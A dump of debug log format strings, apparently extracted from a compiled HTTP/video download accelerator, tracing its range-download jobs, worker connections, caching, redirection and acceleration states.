[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld
[JobInfo::GetDownloadStartPosition] Job:%d - %lld
[JobInfo::GetCurrentTimePosition] Job:%d - %lld
[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard
[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.
[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.
[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)
[JobInfo::GetCounter] ___Error: The field %d is not a counter field.
[JobInfo::SetCounter] ___Error: The field %d is not a counter field.
[JobInfo::Reset] Job:%d
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.
[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d
[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!
[JobInfo::CanBeRecovered] Job:%d - %d/%d
[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d
[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d
[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries
[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d
[JobInfo::SetValidationBytes] Job:%d - Bytes: %d
[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d
[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!
[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***
[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard
[JobInfo::SetState] Job:%d, State: %d, Force: %d
[JobInfo::ResetState] Job:%d
[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.
[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)
[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)
[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard
[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard
[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!
[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***
[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes
[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare
[JobInfo] Job:%d
[JobInfo] Job:%d (%lld-%lld).
[~JobInfo] Job:%d (%lld-%lld).
************ End: d:d:d::d
************ Start: d:d:d::d
[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d
[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges
pIHttpProxyServer
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.
[FileDownloadMgr::StopDownload] FDM=%d, Stopping...
[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...
[FileDownloadMgr::StopDownload] FDM=%d
[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.
[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.
[FileDownloadMgr::StopAcceleration] FDM=%d
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::AbortAcceleration] FDM=%d
[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)
[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***
[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed
[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)
[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...
[FileDownloadMgr::ResumeCaching] FDM=%d
[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s
pHttpProxyRemote
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.
[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)
[FileDownloadMgr::NotifyOnStop] FDM=%d
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...
[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.
[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s
[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***
[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url
[FileDownloadMgr::GetCacheData] FDM=%d
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.
[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.
[FileDownloadMgr::GetRequestFromQueue] FDM=%d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d
[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers
[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !
[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.
[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d
[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s
WARNING: Master passed all workers
WARNING: HD Acceleration not supported
ERROR: Dailymotion seek not supported
WARNING: Server in non support range servers list
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***
[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d
[ACCELINFO::OnDeserialize] ___Error get URL
[FileDownloadMgr::AddRequest] FDM=%d
[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...
[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue
[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.
[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)
[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d
[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)
************ URL: %.800s ************
************ End: d:d:d::d ************
************ Start: d:d:d::d ************
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d
[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::Stop] FDM=%d - All connections where closed.
[FileDownloadMgr::Stop] FDM=%d - Closing all connections.
[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.
[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.
[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.
[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.
[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.
[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...
[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.
[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!
[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---
[FileDownloadMgr::RecoverFailedDownload] FDM=%d
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid
[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld
?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s
JsDriver.exe
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.
[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range
[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification
[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received
[~FileDownloadMgr] FDM=%d - Leave
[~FileDownloadMgr] FDM=%d - Enter
[FileDownloadMgr] FDM=%d
[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d
[FileDownloadMgr] FDM=%d, StartCachingSize: %d
[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration
[FileDownloadMgr] FDM=%d ___Error invalid Config
[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr
[FileDownloadMgr::DownloadCacheData] FDM=%d
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence
[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request
[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...
[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---
[FileDownloadMgr::Work] FDM=%d - Exit thread now...
[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###
[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.
